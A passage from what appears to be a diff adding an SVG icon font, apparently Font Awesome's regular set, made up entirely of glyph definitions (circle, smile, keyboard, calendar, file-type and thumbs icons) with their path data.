-6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340 +c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200z" /> + <glyph glyph-name="smile" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM332 135.4c8.5 10.1992 23.7002 11.5 33.7998 3.09961c10.2002 -8.5 11.6006 -23.5996 3.10059 -33.7998 +c-30 -36 -74.1006 -56.6006 -120.9 -56.6006s-90.9004 20.6006 -120.9 56.6006c-8.39941 10.2002 -7.09961 25.2998 3.10059 33.7998c10.0996 8.40039 25.2998 7.09961 33.7998 -3.09961c20.7998 -25.1006 51.5 -39.4004 84 -39.4004s63.2002 14.4004 84 39.4004z" /> + <glyph glyph-name="frown" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM248 144c40.2002 0 78 -17.7002 103.8 -48.5996c8.40039 -10.2002 7.10059 -25.3008 -3.09961 -33.8008 +c-10.7002 -8.7998 -25.7002 -6.59961 -33.7998 3.10059c-16.6006 20 -41 31.3994 -66.9004 31.3994s-50.2998 -11.5 -66.9004 -31.3994c-8.5 -10.2002 -23.5996 -11.5 -33.7998 -3.10059c-10.2002 8.5 -11.5996 23.6006 -3.09961 33.8008 +c25.7998 30.8994 63.5996 48.5996 103.8 48.5996z" /> + <glyph glyph-name="meh" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM336 128c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-176c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h176z +" /> + <glyph glyph-name="keyboard" unicode="" horiz-adv-x="576" +d="M528 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h480zM536 48v288c0 4.41113 -3.58887 8 -8 8h-480c-4.41113 0 -8 -3.58887 -8 -8v-288c0 -4.41113 3.58887 -8 8 -8 +h480c4.41113 0 8 3.58887 8 8zM170 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM266 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28 +c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM362 178c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM458 178c0 -6.62695 -5.37305 -12 -12 -12h-28 +c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM122 96c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM506 96 +c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM122 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28 +c6.62695 0 12 -5.37305 12 -12v-28zM218 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM314 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28 +c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM410 260c0 -6.62695 -5.37305 -12 -12 -12h-28c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM506 260c0 -6.62695 -5.37305 -12 -12 -12h-28 +c-6.62695 0 -12 5.37305 -12 12v28c0 6.62695 5.37305 12 12 12h28c6.62695 0 12 -5.37305 12 -12v-28zM408 102c0 -6.62695 -5.37305 -12 -12 -12h-216c-6.62695 0 -12 5.37305 -12 12v16c0 6.62695 5.37305 12 12 12h216c6.62695 0 12 -5.37305 12 -12v-16z" /> + <glyph glyph-name="calendar" unicode="" horiz-adv-x="448" +d="M400 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12 +v-52h48zM394 -16c3.2998 0 6 2.7002 6 6v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340z" /> + <glyph glyph-name="play-circle" unicode="" +d="M371.7 210c16.3994 -9.2002 16.3994 -32.9004 0 -42l-176 -101c-15.9004 -8.7998 -35.7002 2.59961 -35.7002 21v208c0 18.5 19.9004 29.7998 35.7002 21zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192 +c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200z" /> + <glyph glyph-name="minus-square" unicode="" horiz-adv-x="448" +d="M108 164c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h232c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12h-232zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352 +c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="check-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM400 16v352h-352v-352h352zM364.136 257.724l-172.589 -171.204 +c-4.70508 -4.66699 -12.3027 -4.63672 -16.9697 0.0683594l-90.7812 91.5156c-4.66699 4.70508 -4.63672 12.3037 0.0693359 16.9717l22.7188 22.5361c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0693359l59.792 -60.2773l141.353 140.217 +c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0683594l22.5361 -22.7178c4.66699 -4.70605 4.63672 -12.3047 -0.0683594 -16.9717z" /> + <glyph glyph-name="share-square" unicode="" horiz-adv-x="576" +d="M561.938 289.94c18.75 -18.7402 18.75 -49.1406 0 -67.8809l-143.998 -144c-29.9727 -29.9727 -81.9404 -9.05273 -81.9404 33.9404v53.7998c-101.266 -7.83691 -99.625 -31.6406 -84.1104 -78.7598c14.2285 -43.0889 -33.4736 -79.248 -71.0195 -55.7402 +c-51.6924 32.3057 -84.8701 83.0635 -84.8701 144.76c0 39.3408 12.2197 72.7402 36.3301 99.3008c19.8398 21.8398 47.7402 38.4697 82.9102 49.4199c36.7295 11.4395 78.3096 16.1094 120.76 17.9893v57.1982c0 42.9355 51.9258 63.9541 81.9404 33.9404zM384 112l144 144 +l-144 144v-104.09c-110.86 -0.90332 -240 -10.5166 -240 -119.851c0 -52.1396 32.79 -85.6094 62.3096 -104.06c-39.8174 120.65 48.999 141.918 177.69 143.84v-103.84zM408.74 27.5068c7.4375 2.125 14.5508 5.30566 20.9736 9.30273 +c7.97656 4.95215 18.2861 -0.825195 18.2861 -10.2139v-42.5957c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h132c6.62695 0 12 -5.37305 12 -12v-4.48633c0 -4.91699 -2.9873 -9.36914 -7.56934 -11.1514 +c-13.7021 -5.33105 -26.3955 -11.5371 -38.0498 -18.585c-1.82715 -1.11523 -3.98633 -1.76953 -6.28027 -1.77734h-86.1006c-3.31152 0 -6 -2.68848 -6 -6v-340c0 -3.31152 2.68848 -6 6 -6h340c3.31152 0 6 2.68848 6 6v25.9658c0 5.37012 3.5791 10.0596 8.74023 11.541z +" /> + <glyph glyph-name="compass" unicode="" horiz-adv-x="496" +d="M347.94 318.14c16.6592 7.61035 33.8096 -9.54004 26.1992 -26.1992l-65.9697 -144.341c-3.19238 -6.9834 -8.78613 -12.5771 -15.7695 -15.7695l-144.341 -65.9697c-16.6592 -7.61035 -33.8096 9.5498 -26.1992 26.1992l65.9697 144.341 +c3.19238 6.9834 8.78613 12.5771 15.7695 15.7695zM270.58 169.42c12.4697 12.4697 12.4697 32.6904 0 45.1602s-32.6904 12.4697 -45.1602 0s-12.4697 -32.6904 0 -45.1602s32.6904 -12.4697 45.1602 0zM248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248 +s-248 111.03 -248 248s111.03 248 248 248zM248 -8c110.28 0 200 89.7197 200 200s-89.7197 200 -200 200s-200 -89.7197 -200 -200s89.7197 -200 200 -200z" /> + <glyph glyph-name="caret-square-down" unicode="" horiz-adv-x="448" +d="M125.1 240h197.801c10.6992 0 16.0996 -13 8.5 -20.5l-98.9004 -98.2998c-4.7002 -4.7002 -12.2002 -4.7002 -16.9004 0l-98.8994 98.2998c-7.7002 7.5 -2.2998 20.5 8.39941 20.5zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="caret-square-up" unicode="" horiz-adv-x="448" +d="M322.9 144h-197.801c-10.6992 0 -16.0996 13 -8.5 20.5l98.9004 98.2998c4.7002 4.7002 12.2002 4.7002 16.9004 0l98.8994 -98.2998c7.7002 -7.5 2.2998 -20.5 -8.39941 -20.5zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="caret-square-right" unicode="" horiz-adv-x="448" +d="M176 93.0996v197.801c0 10.6992 13 16.0996 20.5 8.5l98.2998 -98.9004c4.7002 -4.7002 4.7002 -12.2002 0 -16.9004l-98.2998 -98.8994c-7.5 -7.7002 -20.5 -2.2998 -20.5 8.39941zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="file" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416z" /> + <glyph glyph-name="file-alt" unicode="" horiz-adv-x="384" +d="M288 200v-28c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v28c0 6.59961 5.40039 12 12 12h168c6.59961 0 12 -5.40039 12 -12zM276 128c6.59961 0 12 -5.40039 12 -12v-28c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12 +v28c0 6.59961 5.40039 12 12 12h168zM384 316.1v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l83.9004 -83.9004c9 -8.90039 14.0996 -21.2002 14.0996 -33.9004z +M256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416h288z" /> + <glyph glyph-name="thumbs-up" unicode="" +d="M466.27 161.31c4.6748 -22.6465 0.864258 -44.5371 -8.98926 -62.9893c2.95898 -23.8682 -4.02148 -48.5654 -17.3398 -66.9902c-0.954102 -55.9072 -35.8232 -95.3301 -112.94 -95.3301c-7 0 -15 0.00976562 -22.2197 0.00976562 +c-102.742 0 -133.293 38.9395 -177.803 39.9404c-3.56934 -13.7764 -16.085 -23.9502 -30.9775 -23.9502h-64c-17.6729 0 -32 14.3271 -32 32v240c0 17.6729 14.3271 32 32 32h98.7598c19.1455 16.9531 46.0137 60.6533 68.7598 83.4004 +c13.667 13.667 10.1533 108.6 71.7607 108.6c57.5801 0 95.2695 -31.9355 95.2695 -104.73c0 -18.4092 -3.92969 -33.7295 -8.84961 -46.5391h36.4795c48.6025 0 85.8203 -41.5654 85.8203 -85.5801c0 -19.1504 -4.95996 -34.9902 -13.7305 -49.8408zM404.52 107.48 +c21.5811 20.3838 18.6992 51.0645 5.21094 65.6191c9.44922 0 22.3594 18.9102 22.2695 37.8105c-0.0898438 18.9102 -16.71 37.8203 -37.8203 37.8203h-103.989c0 37.8193 28.3594 55.3691 28.3594 94.5391c0 23.75 0 56.7305 -47.2695 56.7305 +c-18.9102 -18.9102 -9.45996 -66.1797 -37.8203 -94.54c-26.5596 -26.5703 -66.1797 -97.46 -94.54 -97.46h-10.9199v-186.17c53.6113 0 100.001 -37.8203 171.64 -37.8203h37.8203c35.5117 0 60.8203 17.1201 53.1201 65.9004 +c15.2002 8.16016 26.5 36.4395 13.9395 57.5703zM88 16c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24z" /> + <glyph glyph-name="thumbs-down" unicode="" +d="M466.27 222.69c8.77051 -14.8506 13.7305 -30.6904 13.7305 -49.8408c0 -44.0146 -37.2178 -85.5801 -85.8203 -85.5801h-36.4795c4.91992 -12.8096 8.84961 -28.1299 8.84961 -46.5391c0 -72.7949 -37.6895 -104.73 -95.2695 -104.73 +c-61.6074 0 -58.0938 94.9326 -71.7607 108.6c-22.7461 22.7471 -49.6133 66.4473 -68.7598 83.4004h-7.05176c-5.5332 -9.56152 -15.8662 -16 -27.708 -16h-64c-17.6729 0 -32 14.3271 -32 32v240c0 17.6729 14.3271 32 32 32h64c8.11328 0 15.5146 -3.02539 21.1553 -8 +h10.8447c40.9971 0 73.1953 39.9902 176.78 39.9902c7.21973 0 15.2197 0.00976562 22.2197 0.00976562c77.1172 0 111.986 -39.4229 112.94 -95.3301c13.3184 -18.4248 20.2979 -43.1221 17.3398 -66.9902c9.85352 -18.4521 13.6641 -40.3428 8.98926 -62.9893zM64 152 +c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM394.18 135.27c21.1104 0 37.7305 18.9102 37.8203 37.8203c0.0898438 18.9004 -12.8203 37.8105 -22.2695 37.8105c13.4883 14.5547 16.3701 45.2354 -5.21094 65.6191 +c12.5605 21.1309 1.26074 49.4102 -13.9395 57.5703c7.7002 48.7803 -17.6084 65.9004 -53.1201 65.9004h-37.8203c-71.6387 0 -118.028 -37.8203 -171.64 -37.8203v-186.17h10.9199c28.3604 0 67.9805 -70.8896 94.54 -97.46 +c28.3604 -28.3604 18.9102 -75.6299 37.8203 -94.54c47.2695 0 47.2695 32.9805 47.2695 56.7305c0 39.1699 -28.3594 56.7197 -28.3594 94.5391h103.989z" /> + <glyph glyph-name="sun" unicode="" +d="M494.2 226.1c11.2002 -7.59961 17.7998 -20.0996 17.8994 -33.6992c0 -13.4004 -6.69922 -26 -17.7998 -33.5l-59.7998 -40.5l13.7002 -71c2.5 -13.2002 -1.60059 -26.8008 -11.1006 -36.3008s-22.8994 -13.7998 -36.2998 -11.0996l-70.8994 13.7002l-40.4004 -59.9004 +c-7.5 -11.0996 -20.0996 -17.7998 -33.5 -17.7998s-26 6.7002 -33.5 17.9004l-40.4004 59.8994l-70.7998 -13.7002c-13.3994 -2.59961 -26.7998 1.60059 -36.2998 11.1006s-13.7002 23.0996 -11.0996 36.2998l13.6992 71l-59.7998 40.5 +c-11.0996 7.5 -17.7998 20 -17.7998 33.5s6.59961 26 17.7998 33.5996l59.7998 40.5l-13.6992 71c-2.60059 13.2002 1.59961 26.7002 11.0996 36.3008c9.5 9.59961 23 13.6992 36.2998 11.1992l70.7998 -13.6992l40.4004 59.8994c15.0996 22.2998 51.9004 22.2998 67 0 +l40.4004 -59.8994l70.8994 13.6992c13 2.60059 26.6006 -1.59961 36.2002 -11.0996c9.5 -9.59961 13.7002 -23.2002 11.0996 -36.4004l-13.6992 -71zM381.3 140.5l76.7998 52.0996l-76.7998 52l17.6006 91.1006l-91 -17.6006l-51.9004 76.9004l-51.7998 -76.7998 +l-91 17.5996l17.5996 -91.2002l-76.7998 -52l76.7998 -52l-17.5996 -91.1992l90.8994 17.5996l51.9004 -77l51.9004 76.9004l91 -17.6006zM256 296c57.2998 0 104 -46.7002 104 -104s-46.7002 -104 -104 -104s-104 46.7002 -104 104s46.7002 104 104 104zM256 136 +c30.9004 0 56 25.0996 56 56s-25.0996 56 -56 56s-56 -25.0996 -56 -56s25.0996 -56 56 -56z" /> + <glyph glyph-name="moon" unicode="" +d="M279.135 -64c-141.424 0 -256 114.64 -256 256c0 141.425 114.641 256 256 256c16.0342 -0.00292969 31.5078 -1.46875 46.7354 -4.27734c44.0205 -8.13086 53.7666 -66.8691 15.0215 -88.9189c-41.374 -23.5439 -67.4336 -67.4121 -67.4336 -115.836 +c0 -83.5234 75.9238 -146.475 158.272 -130.792c43.6904 8.32129 74.5186 -42.5693 46.248 -77.4004c-47.8613 -58.9717 -120.088 -94.7754 -198.844 -94.7754zM279.135 400c-114.875 0 -208 -93.125 -208 -208s93.125 -208 208 -208 +c65.2314 0 123.439 30.0361 161.575 77.0244c-111.611 -21.2568 -215.252 64.0957 -215.252 177.943c0 67.5127 36.9326 126.392 91.6934 157.555c-12.3271 2.27637 -25.0312 3.47754 -38.0166 3.47754z" /> + <glyph glyph-name="caret-square-left" unicode="" horiz-adv-x="448" +d="M272 290.9v-197.801c0 -10.6992 -13 -16.0996 -20.5 -8.5l-98.2998 98.9004c-4.7002 4.7002 -4.7002 12.2002 0 16.9004l98.2998 98.8994c7.5 7.7002 20.5 2.2998 20.5 -8.39941zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="dot-circle" unicode="" +d="M256 392c-110.549 0 -200 -89.4678 -200 -200c0 -110.549 89.4678 -200 200 -200c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200zM256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248z +M256 272c44.1826 0 80 -35.8174 80 -80s-35.8174 -80 -80 -80s-80 35.8174 -80 80s35.8174 80 80 80z" /> + <glyph glyph-name="building" unicode="" horiz-adv-x="448" +d="M128 300v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12zM268 288c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40 +c0 -6.59961 -5.40039 -12 -12 -12h-40zM140 192c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM268 192c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40 +c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM192 108c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM268 96c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM448 -28v-36h-448v36c0 6.59961 5.40039 12 12 12h19.5v440c0 13.2998 10.7002 24 24 24h337c13.2998 0 24 -10.7002 24 -24v-440h19.5 +c6.59961 0 12 -5.40039 12 -12zM79.5 -15h112.5v67c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-67h112.5v414l-288.5 1z" /> + <glyph glyph-name="file-pdf" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM298.2 127.7c10.5 -10.5 8 -38.7002 -17.5 -38.7002c-14.7998 0 -36.9004 6.7998 -55.7998 17c-21.6006 -3.59961 -46 -12.7002 -68.4004 -20.0996c-50.0996 -86.4004 -79.4004 -47 -76.0996 -31.2002 +c4 20 31 35.8994 51 46.2002c10.5 18.3994 25.3994 50.5 35.3994 74.3994c-7.39941 28.6006 -11.3994 51 -7 67.1006c4.7998 17.6992 38.4004 20.2998 42.6006 -5.90039c4.69922 -15.4004 -1.5 -39.9004 -5.40039 -56c8.09961 -21.2998 19.5996 -35.7998 36.7998 -46.2998 +c17.4004 2.2002 52.2002 5.5 64.4004 -6.5zM100.1 49.9004c0 -0.700195 11.4004 4.69922 30.4004 35c-5.90039 -5.5 -25.2998 -21.3008 -30.4004 -35zM181.7 240.5c-2.5 0 -2.60059 -26.9004 1.7998 -40.7998c4.90039 8.7002 5.59961 40.7998 -1.7998 40.7998zM157.3 103.9 +c15.9004 6.09961 34 14.8994 54.7998 19.1992c-11.1992 8.30078 -21.7998 20.4004 -30.0996 35.5c-6.7002 -17.6992 -15 -37.7998 -24.7002 -54.6992zM288.9 108.9c3.59961 2.39941 -2.2002 10.3994 -37.3008 7.7998c32.3008 -13.7998 37.3008 -7.7998 37.3008 -7.7998z" /> + <glyph glyph-name="file-word" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM268.1 192v0.200195h15.8008c7.7998 0 13.5 -7.2998 11.5996 -14.9004c-4.2998 -17 -13.7002 -54.0996 -34.5 -136c-1.2998 -5.39941 -6.09961 -9.09961 -11.5996 -9.09961h-24.7002 +c-5.5 0 -10.2998 3.7998 -11.6006 9.09961c-5.2998 20.9004 -17.7998 71 -17.8994 71.4004l-2.90039 17.2998c-0.5 -5.2998 -1.5 -11.0996 -3 -17.2998l-17.8994 -71.4004c-1.30078 -5.39941 -6.10059 -9.09961 -11.6006 -9.09961h-25.2002 +c-5.59961 0 -10.3994 3.7002 -11.6992 9.09961c-6.5 26.5 -25.2002 103.4 -33.2002 136c-1.7998 7.5 3.89941 14.7998 11.7002 14.7998h16.7998c5.7998 0 10.7002 -4.09961 11.7998 -9.69922c5 -25.7002 18.4004 -93.8008 19.0996 -99 +c0.300781 -1.7002 0.400391 -3.10059 0.5 -4.2002c0.800781 7.5 0.400391 4.7002 24.8008 103.7c1.39941 5.2998 6.19922 9.09961 11.6992 9.09961h13.3008c5.59961 0 10.3994 -3.7998 11.6992 -9.2002c23.9004 -99.7002 22.8008 -94.3994 23.6006 -99.5 +c0.299805 -1.7002 0.5 -3.09961 0.700195 -4.2998c0.599609 8.09961 0.399414 5.7998 21 103.5c1.09961 5.5 6 9.5 11.6992 9.5z" /> + <glyph glyph-name="file-excel" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM260 224c9.2002 0 15 -10 10.2998 -18c-16 -27.5 -45.5996 -76.9004 -46.2998 -78l46.4004 -78c4.59961 -8 -1.10059 -18 -10.4004 -18h-28.7998c-4.40039 0 -8.5 2.40039 -10.6006 6.2998 +c-22.6992 41.7998 -13.6992 27.5 -28.5996 57.7002c-5.59961 -12.7002 -6.90039 -17.7002 -28.5996 -57.7002c-2.10059 -3.89941 -6.10059 -6.2998 -10.5 -6.2998h-28.9004c-9.2998 0 -15.0996 10 -10.4004 18l46.3008 78l-46.3008 78c-4.59961 8 1.10059 18 10.4004 18 +h28.9004c4.39941 0 8.5 -2.40039 10.5996 -6.2998c21.7002 -40.4004 14.7002 -28.6006 28.5996 -57.7002c6.40039 15.2998 10.6006 24.5996 28.6006 57.7002c2.09961 3.89941 6.09961 6.2998 10.5 6.2998h28.7998z" /> + <glyph glyph-name="file-powerpoint" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM120 44v168c0 6.59961 5.40039 12 12 12h69.2002c36.7002 0 62.7998 -27 62.7998 -66.2998c0 -74.2998 -68.7002 -66.5 -95.5 -66.5v-47.2002c0 -6.59961 -5.40039 -12 -12 -12h-24.5c-6.59961 0 -12 5.40039 -12 12z +M168.5 131.4h23c7.90039 0 13.9004 2.39941 18.0996 7.19922c8.5 9.80078 8.40039 28.5 0.100586 37.8008c-4.10059 4.59961 -9.90039 7 -17.4004 7h-23.8994v-52h0.0996094z" /> + <glyph glyph-name="file-image" unicode="" horiz-adv-x="384" +d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288 +h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM80 32v64l39.5 39.5c4.7002 4.7002 12.2998 4.7002 17 0l39.5 -39.5l87.5 87.5c4.7002 4.7002 12.2998 4.7002 17 0l23.5 -23.5v-128h-224zM128 272c26.5 0 48 -21.5 48 